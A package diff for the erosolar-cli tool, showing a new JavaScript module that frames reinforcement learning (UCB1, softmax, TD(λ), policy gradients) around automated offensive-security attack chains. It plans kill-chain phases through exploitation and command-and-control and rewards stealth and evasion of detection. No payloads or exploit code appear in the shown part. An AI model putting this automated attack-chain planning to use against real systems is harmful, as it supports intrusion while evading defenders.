erosolar-cli 2.1.238 → 2.1.239

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (138) hide show
  1. package/README.md +9 -0
  2. package/dist/contracts/tools.schema.json +3 -1
  3. package/dist/core/agent.d.ts.map +1 -1
  4. package/dist/core/agent.js +5 -1
  5. package/dist/core/agent.js.map +1 -1
  6. package/dist/core/agentOrchestrator.d.ts +4 -0
  7. package/dist/core/agentOrchestrator.d.ts.map +1 -1
  8. package/dist/core/agentOrchestrator.js +58 -6
  9. package/dist/core/agentOrchestrator.js.map +1 -1
  10. package/dist/core/autoExecutionOrchestrator.d.ts +172 -0
  11. package/dist/core/autoExecutionOrchestrator.d.ts.map +1 -0
  12. package/dist/core/autoExecutionOrchestrator.js +591 -0
  13. package/dist/core/autoExecutionOrchestrator.js.map +1 -0
  14. package/dist/core/contextManager.d.ts.map +1 -1
  15. package/dist/core/contextManager.js.map +1 -1
  16. package/dist/core/dualAgentOrchestrator.d.ts +34 -0
  17. package/dist/core/dualAgentOrchestrator.d.ts.map +1 -0
  18. package/dist/core/dualAgentOrchestrator.js +94 -0
  19. package/dist/core/dualAgentOrchestrator.js.map +1 -0
  20. package/dist/core/errors/safetyValidator.d.ts +25 -12
  21. package/dist/core/errors/safetyValidator.d.ts.map +1 -1
  22. package/dist/core/errors/safetyValidator.js +165 -17
  23. package/dist/core/errors/safetyValidator.js.map +1 -1
  24. package/dist/core/governmentProcedures.d.ts +118 -0
  25. package/dist/core/governmentProcedures.d.ts.map +1 -0
  26. package/dist/core/governmentProcedures.js +912 -0
  27. package/dist/core/governmentProcedures.js.map +1 -0
  28. package/dist/core/infrastructureTemplates.d.ts +123 -0
  29. package/dist/core/infrastructureTemplates.d.ts.map +1 -0
  30. package/dist/core/infrastructureTemplates.js +1326 -0
  31. package/dist/core/infrastructureTemplates.js.map +1 -0
  32. package/dist/core/orchestration.d.ts +534 -0
  33. package/dist/core/orchestration.d.ts.map +1 -0
  34. package/dist/core/orchestration.js +2009 -0
  35. package/dist/core/orchestration.js.map +1 -0
  36. package/dist/core/persistentObjectiveStore.d.ts +292 -0
  37. package/dist/core/persistentObjectiveStore.d.ts.map +1 -0
  38. package/dist/core/persistentObjectiveStore.js +613 -0
  39. package/dist/core/persistentObjectiveStore.js.map +1 -0
  40. package/dist/core/preferences.js +1 -1
  41. package/dist/core/preferences.js.map +1 -1
  42. package/dist/core/reliabilityPrompt.d.ts.map +1 -1
  43. package/dist/core/reliabilityPrompt.js +3 -0
  44. package/dist/core/reliabilityPrompt.js.map +1 -1
  45. package/dist/core/securityDeliverableGenerator.d.ts +292 -0
  46. package/dist/core/securityDeliverableGenerator.d.ts.map +1 -0
  47. package/dist/core/securityDeliverableGenerator.js +1590 -0
  48. package/dist/core/securityDeliverableGenerator.js.map +1 -0
  49. package/dist/core/taskCompletionDetector.d.ts.map +1 -1
  50. package/dist/core/taskCompletionDetector.js +4 -1
  51. package/dist/core/taskCompletionDetector.js.map +1 -1
  52. package/dist/shell/autoExecutor.d.ts.map +1 -1
  53. package/dist/shell/autoExecutor.js +32 -3
  54. package/dist/shell/autoExecutor.js.map +1 -1
  55. package/dist/shell/interactiveShell.d.ts +9 -0
  56. package/dist/shell/interactiveShell.d.ts.map +1 -1
  57. package/dist/shell/interactiveShell.js +282 -190
  58. package/dist/shell/interactiveShell.js.map +1 -1
  59. package/dist/tools/bashTools.d.ts +3 -5
  60. package/dist/tools/bashTools.d.ts.map +1 -1
  61. package/dist/tools/bashTools.js +259 -161
  62. package/dist/tools/bashTools.js.map +1 -1
  63. package/dist/tools/tao/index.d.ts +4 -4
  64. package/dist/tools/tao/index.d.ts.map +1 -1
  65. package/dist/tools/tao/index.js +15 -5
  66. package/dist/tools/tao/index.js.map +1 -1
  67. package/dist/tools/tao/rl.d.ts +164 -0
  68. package/dist/tools/tao/rl.d.ts.map +1 -0
  69. package/dist/tools/tao/rl.js +2998 -0
  70. package/dist/tools/tao/rl.js.map +1 -0
  71. package/dist/tools/taoTools.d.ts +2 -2
  72. package/dist/tools/taoTools.d.ts.map +1 -1
  73. package/dist/tools/taoTools.js +103 -20
  74. package/dist/tools/taoTools.js.map +1 -1
  75. package/dist/ui/PromptController.d.ts +3 -0
  76. package/dist/ui/PromptController.d.ts.map +1 -1
  77. package/dist/ui/PromptController.js +3 -0
  78. package/dist/ui/PromptController.js.map +1 -1
  79. package/dist/ui/UnifiedUIRenderer.d.ts +4 -0
  80. package/dist/ui/UnifiedUIRenderer.d.ts.map +1 -1
  81. package/dist/ui/UnifiedUIRenderer.js +37 -6
  82. package/dist/ui/UnifiedUIRenderer.js.map +1 -1
  83. package/dist/ui/display.d.ts +9 -1
  84. package/dist/ui/display.d.ts.map +1 -1
  85. package/dist/ui/display.js +66 -9
  86. package/dist/ui/display.js.map +1 -1
  87. package/dist/ui/shortcutsHelp.d.ts.map +1 -1
  88. package/dist/ui/shortcutsHelp.js +1 -0
  89. package/dist/ui/shortcutsHelp.js.map +1 -1
  90. package/package.json +3 -2
  91. package/dist/capabilities/askUserCapability.d.ts +0 -14
  92. package/dist/capabilities/askUserCapability.d.ts.map +0 -1
  93. package/dist/capabilities/askUserCapability.js +0 -134
  94. package/dist/capabilities/askUserCapability.js.map +0 -1
  95. package/dist/capabilities/codeGenerationCapability.d.ts +0 -13
  96. package/dist/capabilities/codeGenerationCapability.d.ts.map +0 -1
  97. package/dist/capabilities/codeGenerationCapability.js +0 -25
  98. package/dist/capabilities/codeGenerationCapability.js.map +0 -1
  99. package/dist/capabilities/performanceMonitoringCapability.d.ts +0 -108
  100. package/dist/capabilities/performanceMonitoringCapability.d.ts.map +0 -1
  101. package/dist/capabilities/performanceMonitoringCapability.js +0 -176
  102. package/dist/capabilities/performanceMonitoringCapability.js.map +0 -1
  103. package/dist/capabilities/todoCapability.d.ts +0 -19
  104. package/dist/capabilities/todoCapability.d.ts.map +0 -1
  105. package/dist/capabilities/todoCapability.js +0 -170
  106. package/dist/capabilities/todoCapability.js.map +0 -1
  107. package/dist/core/baseToolFactory.d.ts +0 -187
  108. package/dist/core/baseToolFactory.d.ts.map +0 -1
  109. package/dist/core/baseToolFactory.js +0 -352
  110. package/dist/core/baseToolFactory.js.map +0 -1
  111. package/dist/core/intelligentSummarizer.d.ts +0 -79
  112. package/dist/core/intelligentSummarizer.d.ts.map +0 -1
  113. package/dist/core/intelligentSummarizer.js +0 -273
  114. package/dist/core/intelligentSummarizer.js.map +0 -1
  115. package/dist/core/memorySystem.d.ts +0 -67
  116. package/dist/core/memorySystem.d.ts.map +0 -1
  117. package/dist/core/memorySystem.js +0 -334
  118. package/dist/core/memorySystem.js.map +0 -1
  119. package/dist/core/outputStyles.d.ts +0 -48
  120. package/dist/core/outputStyles.d.ts.map +0 -1
  121. package/dist/core/outputStyles.js +0 -270
  122. package/dist/core/outputStyles.js.map +0 -1
  123. package/dist/core/toolPatternAnalyzer.d.ts +0 -87
  124. package/dist/core/toolPatternAnalyzer.d.ts.map +0 -1
  125. package/dist/core/toolPatternAnalyzer.js +0 -272
  126. package/dist/core/toolPatternAnalyzer.js.map +0 -1
  127. package/dist/tools/backgroundBashTools.d.ts +0 -21
  128. package/dist/tools/backgroundBashTools.d.ts.map +0 -1
  129. package/dist/tools/backgroundBashTools.js +0 -215
  130. package/dist/tools/backgroundBashTools.js.map +0 -1
  131. package/dist/tools/code-quality-dashboard.d.ts +0 -57
  132. package/dist/tools/code-quality-dashboard.d.ts.map +0 -1
  133. package/dist/tools/code-quality-dashboard.js +0 -218
  134. package/dist/tools/code-quality-dashboard.js.map +0 -1
  135. package/dist/tools/tao/rlEngine.d.ts +0 -40
  136. package/dist/tools/tao/rlEngine.d.ts.map +0 -1
  137. package/dist/tools/tao/rlEngine.js +0 -237
  138. package/dist/tools/tao/rlEngine.js.map +0 -1
@@ -0,0 +1,2998 @@
1
+ /**
2
+ * Tao Tools - Unified Reinforcement Learning System
3
+ *
4
+ * Single consolidated RL module for offensive security operations.
5
+ * Combines dual-agent RL, technique registry, attack chain planning,
6
+ * and security-specific reward shaping.
7
+ *
8
+ * Architecture:
9
+ * - Dual-Agent System: Red (offensive) and Blue (defensive/validation) agents
10
+ * - UCB1 Multi-Armed Bandit for action selection
11
+ * - Softmax policy with temperature for exploration/exploitation
12
+ * - TD(λ) value updates with eligibility traces
13
+ * - Policy gradient (REINFORCE) for continuous learning
14
+ * - Modular technique registry with kill-chain alignment
15
+ * - Security-specific reward shaping (stealth, success, evasion)
16
+ */
17
+ import { sessionState } from './sessionState.js';
18
+ import * as dns from 'node:dns/promises';
19
+ import * as net from 'node:net';
20
+ import * as https from 'node:https';
21
+ import * as http from 'node:http';
22
+ import { exec } from 'node:child_process';
23
+ import { promisify } from 'node:util';
24
+ const execAsync = promisify(exec);
25
+ // ═══════════════════════════════════════════════════════════════════════════════
26
+ // Global Dual-Agent RL State
27
+ // ═══════════════════════════════════════════════════════════════════════════════
28
+ export const dualAgentRL = {
29
+ red: {
30
+ weights: new Map(),
31
+ bias: new Map(),
32
+ temperature: 1.0,
33
+ learningRate: 0.01,
34
+ },
35
+ blue: {
36
+ weights: new Map(),
37
+ bias: new Map(),
38
+ temperature: 1.0,
39
+ learningRate: 0.01,
40
+ },
41
+ sharedMemory: new Map(),
42
+ episode: 0,
43
+ stepCount: 0,
44
+ rewardHistory: [],
45
+ valueEstimates: new Map(),
46
+ };
47
+ // ═══════════════════════════════════════════════════════════════════════════════
48
+ // UCB1 Multi-Armed Bandit
49
+ // Formula: argmax[Q(a) + c * √(ln(N) / N(a))]
50
+ // ═══════════════════════════════════════════════════════════════════════════════
51
+ export function ucb1Select(actions, qValues, counts, totalCount, c = Math.SQRT2) {
52
+ let bestAction = actions[0] || 'default';
53
+ let bestUcb = -Infinity;
54
+ for (const action of actions) {
55
+ const q = qValues.get(action) || 0;
56
+ const n = counts.get(action) || 0;
57
+ if (n === 0)
58
+ return action; // Explore unvisited
59
+ const exploitation = q;
60
+ const exploration = c * Math.sqrt(Math.log(totalCount) / n);
61
+ const ucb = exploitation + exploration;
62
+ if (ucb > bestUcb) {
63
+ bestUcb = ucb;
64
+ bestAction = action;
65
+ }
66
+ }
67
+ return bestAction;
68
+ }
69
+ // ═══════════════════════════════════════════════════════════════════════════════
70
+ // Softmax Policy with Temperature
71
+ // π(a|s) = exp(Q(s,a)/τ) / Σ exp(Q(s,a')/τ)
72
+ // ═══════════════════════════════════════════════════════════════════════════════
73
+ export function softmaxPolicy(qValues, temperature) {
74
+ const actions = Object.keys(qValues);
75
+ const maxQ = Math.max(...Object.values(qValues), 0);
76
+ const expValues = {};
77
+ let sumExp = 0;
78
+ for (const action of actions) {
79
+ const expV = Math.exp(((qValues[action] || 0) - maxQ) / temperature);
80
+ expValues[action] = expV;
81
+ sumExp += expV;
82
+ }
83
+ const policy = {};
84
+ for (const action of actions) {
85
+ policy[action] = (expValues[action] || 0) / (sumExp || 1);
86
+ }
87
+ return policy;
88
+ }
89
+ // ═══════════════════════════════════════════════════════════════════════════════
90
+ // TD(λ) Value Update with Eligibility Traces
91
+ // V(s) ← V(s) + α * δ * e(s)
92
+ // δ = r + γ * V(s') - V(s)
93
+ // ═══════════════════════════════════════════════════════════════════════════════
94
+ export function tdLambdaUpdate(agent, state, reward, nextState, valueEstimates, gamma = 0.99, lambda = 0.9) {
95
+ const v = valueEstimates.get(state) || 0;
96
+ const vNext = valueEstimates.get(nextState) || 0;
97
+ const tdError = reward + gamma * vNext - v;
98
+ // Update with eligibility trace decay
99
+ const eligibility = agent.weights.get('_eligibility') || [];
100
+ const newEligibility = eligibility.map(e => gamma * lambda * e);
101
+ newEligibility.push(1.0); // Current state trace
102
+ agent.weights.set('_eligibility', newEligibility.slice(-100));
103
+ // Apply update
104
+ valueEstimates.set(state, v + agent.learningRate * tdError);
105
+ }
106
+ // ═══════════════════════════════════════════════════════════════════════════════
107
+ // Policy Gradient (REINFORCE)
108
+ // ∇θ J(θ) = E[∇θ log π(a|s;θ) * R]
109
+ // ═══════════════════════════════════════════════════════════════════════════════
110
+ export function policyGradientUpdate(agent, action, reward, baseline = 0) {
111
+ const weights = agent.weights.get(action) || [0];
112
+ const advantage = reward - baseline;
113
+ // Update weights in direction of gradient
114
+ const updatedWeights = weights.map((w, _i) => {
115
+ const grad = advantage * (1 - (agent.bias.get(action) || 0.5));
116
+ return w + agent.learningRate * grad;
117
+ });
118
+ agent.weights.set(action, updatedWeights);
119
+ // Update bias term
120
+ const currentBias = agent.bias.get(action) || 0.5;
121
+ agent.bias.set(action, Math.max(0.01, Math.min(0.99, currentBias + agent.learningRate * advantage * 0.1)));
122
+ }
123
+ // ═══════════════════════════════════════════════════════════════════════════════
124
+ // RL Context Creation
125
+ // ═══════════════════════════════════════════════════════════════════════════════
126
+ export function createRLContext(toolName, action, params) {
127
+ return {
128
+ toolName,
129
+ action,
130
+ params,
131
+ startTime: Date.now(),
132
+ };
133
+ }
134
+ // ═══════════════════════════════════════════════════════════════════════════════
135
+ // Generic Reward Computation
136
+ // ═══════════════════════════════════════════════════════════════════════════════
137
+ export function computeReward(context, result, success) {
138
+ const elapsed = Date.now() - context.startTime;
139
+ const components = {
140
+ success: success ? 0.5 : -0.3,
141
+ efficiency: Math.max(0, 1 - elapsed / 10000) * 0.2,
142
+ novelty: Math.random() * 0.1,
143
+ depth: (context.params['depth'] || 1) * 0.05,
144
+ };
145
+ if (typeof result === 'string') {
146
+ components['richness'] = Math.min(result.length / 1000, 0.3);
147
+ }
148
+ else if (typeof result === 'object' && result !== null) {
149
+ components['structure'] = Object.keys(result).length * 0.02;
150
+ }
151
+ const value = Object.values(components).reduce((a, b) => a + b, 0);
152
+ return {
153
+ value: Math.max(-1, Math.min(1, value)),
154
+ components,
155
+ sparse: success && elapsed < 1000,
156
+ };
157
+ }
158
+ // ═══════════════════════════════════════════════════════════════════════════════
159
+ // Security-Specific Reward Shaping
160
+ // ═══════════════════════════════════════════════════════════════════════════════
161
+ export function computeSecurityReward(params) {
162
+ const { techniqueId, result, intent, executionResult, chainProgress } = params;
163
+ const technique = techniqueRegistry.get(techniqueId);
164
+ const components = {};
165
+ // Core Success
166
+ components['success'] = result.success ? 0.4 : -0.3;
167
+ // Stealth
168
+ if (intent.constraints.includes('stealth')) {
169
+ const stealthScore = 1 - result.detectionRisk;
170
+ components['stealth'] = stealthScore * 0.25;
171
+ if (technique) {
172
+ components['stealth_technique'] = technique.stealthRating * 0.1;
173
+ }
174
+ }
175
+ // Efficiency
176
+ if (technique && result.duration > 0) {
177
+ const efficiencyRatio = Math.min(technique.timeEstimate / result.duration, 2);
178
+ components['efficiency'] = (efficiencyRatio - 1) * 0.15;
179
+ }
180
+ // Intelligence Gathering
181
+ components['intelligence'] = Math.min(result.artifacts.length * 0.05, 0.2);
182
+ // Chain Progress
183
+ components['chain_progress'] = chainProgress * 0.2;
184
+ // Verification Confidence
185
+ components['verification'] = (executionResult.confidence - 0.5) * 0.2;
186
+ // Technique Chaining
187
+ if (result.nextTechniques.length > 0) {
188
+ components['chaining'] = Math.min(result.nextTechniques.length * 0.03, 0.15);
189
+ }
190
+ // Risk Penalty
191
+ if (result.detectionRisk > 0.7) {
192
+ components['risk_penalty'] = -0.15 * result.detectionRisk;
193
+ }
194
+ const value = Object.values(components).reduce((a, b) => a + b, 0);
195
+ return {
196
+ value: Math.max(-1, Math.min(1, value)),
197
+ components,
198
+ sparse: result.success && chainProgress >= 1.0,
199
+ };
200
+ }
201
+ // ═══════════════════════════════════════════════════════════════════════════════
202
+ // Dual Agent Update
203
+ // ═══════════════════════════════════════════════════════════════════════════════
204
+ export function updateDualAgents(context, reward) {
205
+ dualAgentRL.stepCount++;
206
+ dualAgentRL.rewardHistory.push(reward.value);
207
+ if (dualAgentRL.rewardHistory.length > 1000) {
208
+ dualAgentRL.rewardHistory.shift();
209
+ }
210
+ const baseline = dualAgentRL.rewardHistory.reduce((a, b) => a + b, 0) /
211
+ dualAgentRL.rewardHistory.length;
212
+ // RED agent (offensive - seeks high reward)
213
+ policyGradientUpdate(dualAgentRL.red, context.action, reward.value, baseline);
214
+ // BLUE agent (defensive - penalizes risky actions)
215
+ const blueReward = (reward.components['success'] || 0) - (reward.components['novelty'] || 0) * 2;
216
+ policyGradientUpdate(dualAgentRL.blue, context.action, blueReward, baseline);
217
+ // TD update
218
+ const stateKey = `${context.toolName}:${context.action}`;
219
+ const nextStateKey = `${context.toolName}:next`;
220
+ tdLambdaUpdate(dualAgentRL.red, stateKey, reward.value, nextStateKey, dualAgentRL.valueEstimates);
221
+ // Temperature annealing
222
+ dualAgentRL.red.temperature = Math.max(0.1, dualAgentRL.red.temperature * 0.999);
223
+ dualAgentRL.blue.temperature = Math.max(0.1, dualAgentRL.blue.temperature * 0.999);
224
+ // Compute policies
225
+ const redQ = {};
226
+ const blueQ = {};
227
+ for (const [action, weights] of dualAgentRL.red.weights) {
228
+ if (!action.startsWith('_')) {
229
+ redQ[action] = weights.reduce((a, b) => a + b, 0);
230
+ }
231
+ }
232
+ for (const [action, weights] of dualAgentRL.blue.weights) {
233
+ if (!action.startsWith('_')) {
234
+ blueQ[action] = weights.reduce((a, b) => a + b, 0);
235
+ }
236
+ }
237
+ return {
238
+ redPolicy: softmaxPolicy(redQ, dualAgentRL.red.temperature),
239
+ bluePolicy: softmaxPolicy(blueQ, dualAgentRL.blue.temperature),
240
+ };
241
+ }
242
+ // ═══════════════════════════════════════════════════════════════════════════════
243
+ // RL-Enhanced Tool Executor
244
+ // ═══════════════════════════════════════════════════════════════════════════════
245
+ export async function executeWithRL(toolName, action, params, executor) {
246
+ const context = createRLContext(toolName, action, params);
247
+ let result;
248
+ let success = true;
249
+ try {
250
+ result = await executor();
251
+ }
252
+ catch (e) {
253
+ success = false;
254
+ result = { error: String(e) };
255
+ }
256
+ const reward = computeReward(context, result, success);
257
+ const policies = updateDualAgents(context, reward);
258
+ return {
259
+ result,
260
+ rl: {
261
+ reward,
262
+ policies: {
263
+ red: policies.redPolicy,
264
+ blue: policies.bluePolicy,
265
+ },
266
+ },
267
+ };
268
+ }
269
+ // ═══════════════════════════════════════════════════════════════════════════════
270
+ // RL State Visualization
271
+ // ═══════════════════════════════════════════════════════════════════════════════
272
+ export function getRLState() {
273
+ const avgReward = dualAgentRL.rewardHistory.length > 0
274
+ ? dualAgentRL.rewardHistory.reduce((a, b) => a + b, 0) / dualAgentRL.rewardHistory.length
275
+ : 0;
276
+ const topActions = [];
277
+ const allActions = new Set([...dualAgentRL.red.weights.keys(), ...dualAgentRL.blue.weights.keys()]);
278
+ for (const action of allActions) {
279
+ if (action.startsWith('_'))
280
+ continue;
281
+ const redW = (dualAgentRL.red.weights.get(action) || [0]).reduce((a, b) => a + b, 0);
282
+ const blueW = (dualAgentRL.blue.weights.get(action) || [0]).reduce((a, b) => a + b, 0);
283
+ topActions.push({ action, redWeight: redW, blueWeight: blueW });
284
+ }
285
+ topActions.sort((a, b) => Math.abs(b.redWeight) - Math.abs(a.redWeight));
286
+ return {
287
+ episode: dualAgentRL.episode,
288
+ steps: dualAgentRL.stepCount,
289
+ avgReward,
290
+ redTemperature: dualAgentRL.red.temperature,
291
+ blueTemperature: dualAgentRL.blue.temperature,
292
+ topActions: topActions.slice(0, 10),
293
+ };
294
+ }
295
+ // ═══════════════════════════════════════════════════════════════════════════════
296
+ // Technique Registry
297
+ // ═══════════════════════════════════════════════════════════════════════════════
298
+ class TechniqueRegistry {
299
+ techniques = new Map();
300
+ categoryIndex = new Map();
301
+ phaseIndex = new Map();
302
+ successRates = new Map();
303
+ register(technique) {
304
+ this.techniques.set(technique.id, technique);
305
+ if (!this.categoryIndex.has(technique.category)) {
306
+ this.categoryIndex.set(technique.category, new Set());
307
+ }
308
+ this.categoryIndex.get(technique.category).add(technique.id);
309
+ if (!this.phaseIndex.has(technique.phase)) {
310
+ this.phaseIndex.set(technique.phase, new Set());
311
+ }
312
+ this.phaseIndex.get(technique.phase).add(technique.id);
313
+ this.successRates.set(technique.id, { attempts: 0, successes: 0 });
314
+ }
315
+ get(id) {
316
+ return this.techniques.get(id);
317
+ }
318
+ getByCategory(category) {
319
+ const ids = this.categoryIndex.get(category) || new Set();
320
+ return Array.from(ids).map(id => this.techniques.get(id)).filter(Boolean);
321
+ }
322
+ getByPhase(phase) {
323
+ const ids = this.phaseIndex.get(phase) || new Set();
324
+ return Array.from(ids).map(id => this.techniques.get(id)).filter(Boolean);
325
+ }
326
+ getCompatible(currentTechniques) {
327
+ const conflicts = new Set();
328
+ for (const techId of currentTechniques) {
329
+ const tech = this.techniques.get(techId);
330
+ if (tech) {
331
+ tech.conflictsWith.forEach(c => conflicts.add(c));
332
+ }
333
+ }
334
+ return Array.from(this.techniques.values()).filter(t => {
335
+ if (conflicts.has(t.id))
336
+ return false;
337
+ return t.prerequisites.every(p => currentTechniques.includes(p));
338
+ });
339
+ }
340
+ recordOutcome(techniqueId, success) {
341
+ const stats = this.successRates.get(techniqueId);
342
+ if (stats) {
343
+ stats.attempts++;
344
+ if (success)
345
+ stats.successes++;
346
+ }
347
+ }
348
+ getSuccessRate(techniqueId) {
349
+ const stats = this.successRates.get(techniqueId);
350
+ if (!stats || stats.attempts === 0) {
351
+ return this.techniques.get(techniqueId)?.successBaseline || 0.5;
352
+ }
353
+ return stats.successes / stats.attempts;
354
+ }
355
+ list() {
356
+ return Array.from(this.techniques.values());
357
+ }
358
+ }
359
+ export const techniqueRegistry = new TechniqueRegistry();
360
+ // ═══════════════════════════════════════════════════════════════════════════════
361
+ // Attack Chain Planning
362
+ // ═══════════════════════════════════════════════════════════════════════════════
363
+ const activeChains = new Map();
364
+ export function planAttackChain(intent, objective) {
365
+ const chainId = `chain_${Date.now()}_${Math.random().toString(36).slice(2, 8)}`;
366
+ const phaseSequence = getPhaseSequence(intent.action);
367
+ const phases = phaseSequence.map((phase, index) => {
368
+ const availableTechniques = techniqueRegistry.getByPhase(phase);
369
+ const filtered = availableTechniques.filter(t => {
370
+ if (intent.constraints.includes('stealth') && t.stealthRating < 0.6)
371
+ return false;
372
+ if (intent.constraints.includes('non-destructive') && t.category === 'exploitation')
373
+ return false;
374
+ return true;
375
+ });
376
+ return {
377
+ index,
378
+ techniques: filtered.map(t => t.id),
379
+ completed: false,
380
+ rlScore: 0,
381
+ };
382
+ });
383
+ const chain = {
384
+ id: chainId,
385
+ name: `${intent.action}_${intent.targets[0] || 'target'}`,
386
+ objective,
387
+ phases,
388
+ currentPhase: 0,
389
+ state: 'planning',
390
+ startTime: Date.now(),
391
+ outcomes: [],
392
+ };
393
+ activeChains.set(chainId, chain);
394
+ sessionState.set(`chain:${chainId}`, chain);
395
+ return chain;
396
+ }
397
+ function getPhaseSequence(action) {
398
+ switch (action) {
399
+ case 'recon':
400
+ return ['reconnaissance'];
401
+ case 'scan':
402
+ return ['reconnaissance', 'weaponization'];
403
+ case 'enumerate':
404
+ return ['reconnaissance', 'weaponization'];
405
+ case 'exploit':
406
+ return ['reconnaissance', 'weaponization', 'delivery', 'exploitation'];
407
+ case 'extract':
408
+ return ['reconnaissance', 'exploitation', 'actions-on-objectives'];
409
+ case 'test':
410
+ return ['reconnaissance', 'weaponization', 'delivery'];
411
+ case 'monitor':
412
+ return ['reconnaissance', 'command-control'];
413
+ default:
414
+ return ['reconnaissance'];
415
+ }
416
+ }
417
+ export function selectNextTechnique(chain) {
418
+ if (chain.currentPhase >= chain.phases.length) {
419
+ return null;
420
+ }
421
+ const phase = chain.phases[chain.currentPhase];
422
+ if (!phase || phase.techniques.length === 0) {
423
+ return null;
424
+ }
425
+ const executedTechniques = chain.phases
426
+ .filter(p => p.completed && p.selectedTechnique)
427
+ .map(p => p.selectedTechnique);
428
+ const compatible = phase.techniques.filter(techId => {
429
+ const tech = techniqueRegistry.get(techId);
430
+ if (!tech)
431
+ return false;
432
+ return tech.prerequisites.every(p => executedTechniques.includes(p));
433
+ });
434
+ if (compatible.length === 0) {
435
+ return null;
436
+ }
437
+ const qValues = new Map();
438
+ const counts = new Map();
439
+ for (const techId of compatible) {
440
+ const rlValue = dualAgentRL.valueEstimates.get(`technique:${techId}`) || 0;
441
+ const successRate = techniqueRegistry.getSuccessRate(techId);
442
+ const technique = techniqueRegistry.get(techId);
443
+ const stealthBonus = technique ? technique.stealthRating * 0.2 : 0;
444
+ qValues.set(techId, rlValue * 0.4 + successRate * 0.4 + stealthBonus * 0.2);
445
+ counts.set(techId, dualAgentRL.sharedMemory.get(`count:${techId}`) || 0);
446
+ }
447
+ const selectedId = ucb1Select(compatible, qValues, counts, dualAgentRL.stepCount + 1, 1.5);
448
+ const qRecord = {};
449
+ qValues.forEach((v, k) => { qRecord[k] = v; });
450
+ const policy = softmaxPolicy(qRecord, dualAgentRL.red.temperature);
451
+ return {
452
+ id: selectedId,
453
+ params: { phase: phase.index, chainId: chain.id },
454
+ confidence: policy[selectedId] || 0,
455
+ };
456
+ }
457
+ export async function executeTechniqueInChain(chain, action, params) {
458
+ const technique = techniqueRegistry.get(action.id);
459
+ if (!technique) {
460
+ throw new Error(`Technique not found: ${action.id}`);
461
+ }
462
+ chain.state = 'executing';
463
+ const phase = chain.phases[chain.currentPhase];
464
+ if (phase) {
465
+ phase.selectedTechnique = action.id;
466
+ }
467
+ const startTime = Date.now();
468
+ let result;
469
+ try {
470
+ result = await technique.execute(params);
471
+ }
472
+ catch (e) {
473
+ result = {
474
+ success: false,
475
+ output: { error: String(e) },
476
+ artifacts: [],
477
+ nextTechniques: [],
478
+ detectionRisk: 0.8,
479
+ duration: Date.now() - startTime,
480
+ };
481
+ }
482
+ techniqueRegistry.recordOutcome(action.id, result.success);
483
+ const countKey = `count:${action.id}`;
484
+ const currentCount = dualAgentRL.sharedMemory.get(countKey) || 0;
485
+ dualAgentRL.sharedMemory.set(countKey, currentCount + 1);
486
+ const chainProgress = (chain.currentPhase + (result.success ? 1 : 0)) / chain.phases.length;
487
+ const executionResult = {
488
+ executed: true,
489
+ verified: result.success,
490
+ evidence: result.artifacts.map(a => `${a.type}: ${a.data.slice(0, 100)}`),
491
+ warnings: result.detectionRisk > 0.5 ? ['High detection risk'] : [],
492
+ recommendations: result.nextTechniques.map(t => `Consider: ${t}`),
493
+ confidence: result.success ? 0.8 : 0.3,
494
+ };
495
+ const intent = {
496
+ action: 'exploit',
497
+ targets: [params.target],
498
+ scope: 'host',
499
+ depth: params.depth,
500
+ techniques: [action.id],
501
+ outputFormat: 'actionable',
502
+ constraints: params.stealth ? ['stealth'] : [],
503
+ };
504
+ const reward = computeSecurityReward({
505
+ techniqueId: action.id,
506
+ result,
507
+ intent,
508
+ executionResult,
509
+ chainProgress,
510
+ });
511
+ const baseline = dualAgentRL.rewardHistory.length > 0
512
+ ? dualAgentRL.rewardHistory.reduce((a, b) => a + b, 0) / dualAgentRL.rewardHistory.length
513
+ : 0;
514
+ policyGradientUpdate(dualAgentRL.red, action.id, reward.value, baseline);
515
+ const blueReward = (reward.components['stealth'] || 0) +
516
+ (reward.components['stealth_technique'] || 0) -
517
+ (reward.components['risk_penalty'] || 0);
518
+ policyGradientUpdate(dualAgentRL.blue, action.id, blueReward, baseline);
519
+ const oldValue = dualAgentRL.valueEstimates.get(`technique:${action.id}`) || 0;
520
+ const alpha = 0.1;
521
+ dualAgentRL.valueEstimates.set(`technique:${action.id}`, oldValue + alpha * (reward.value - oldValue));
522
+ dualAgentRL.rewardHistory.push(reward.value);
523
+ if (dualAgentRL.rewardHistory.length > 1000) {
524
+ dualAgentRL.rewardHistory.shift();
525
+ }
526
+ dualAgentRL.stepCount++;
527
+ if (phase) {
528
+ phase.completed = true;
529
+ phase.result = result;
530
+ phase.rlScore = reward.value;
531
+ }
532
+ if (result.success) {
533
+ chain.currentPhase++;
534
+ if (chain.currentPhase >= chain.phases.length) {
535
+ chain.state = 'completed';
536
+ }
537
+ }
538
+ else {
539
+ chain.state = 'failed';
540
+ }
541
+ const outcome = {
542
+ id: `outcome_${Date.now()}`,
543
+ operation: action.id,
544
+ target: params.target,
545
+ timestamp: Date.now(),
546
+ duration: result.duration,
547
+ success: result.success,
548
+ effects: result.nextTechniques,
549
+ artifacts: result.artifacts,
550
+ };
551
+ chain.outcomes.push(outcome);
552
+ return { result, reward };
553
+ }
554
+ // ═══════════════════════════════════════════════════════════════════════════════
555
+ // Chain Management
556
+ // ═══════════════════════════════════════════════════════════════════════════════
557
+ export function getChain(chainId) {
558
+ return activeChains.get(chainId);
559
+ }
560
+ export function abortChain(chainId) {
561
+ const chain = activeChains.get(chainId);
562
+ if (chain) {
563
+ chain.state = 'aborted';
564
+ }
565
+ }
566
+ export function listActiveChains() {
567
+ return Array.from(activeChains.values()).filter(c => c.state === 'planning' || c.state === 'executing');
568
+ }
569
+ export function getChainStats() {
570
+ const chains = Array.from(activeChains.values());
571
+ const completed = chains.filter(c => c.state === 'completed').length;
572
+ const failed = chains.filter(c => c.state === 'failed').length;
573
+ const allRewards = chains.flatMap(c => c.phases.filter(p => p.completed).map(p => p.rlScore));
574
+ const avgReward = allRewards.length > 0
575
+ ? allRewards.reduce((a, b) => a + b, 0) / allRewards.length
576
+ : 0;
577
+ const techniqueStats = new Map();
578
+ for (const chain of chains) {
579
+ for (const phase of chain.phases) {
580
+ if (phase.completed && phase.selectedTechnique) {
581
+ if (!techniqueStats.has(phase.selectedTechnique)) {
582
+ techniqueStats.set(phase.selectedTechnique, { total: 0, success: 0, rewards: [] });
583
+ }
584
+ const stats = techniqueStats.get(phase.selectedTechnique);
585
+ stats.total++;
586
+ if (phase.result?.success)
587
+ stats.success++;
588
+ stats.rewards.push(phase.rlScore);
589
+ }
590
+ }
591
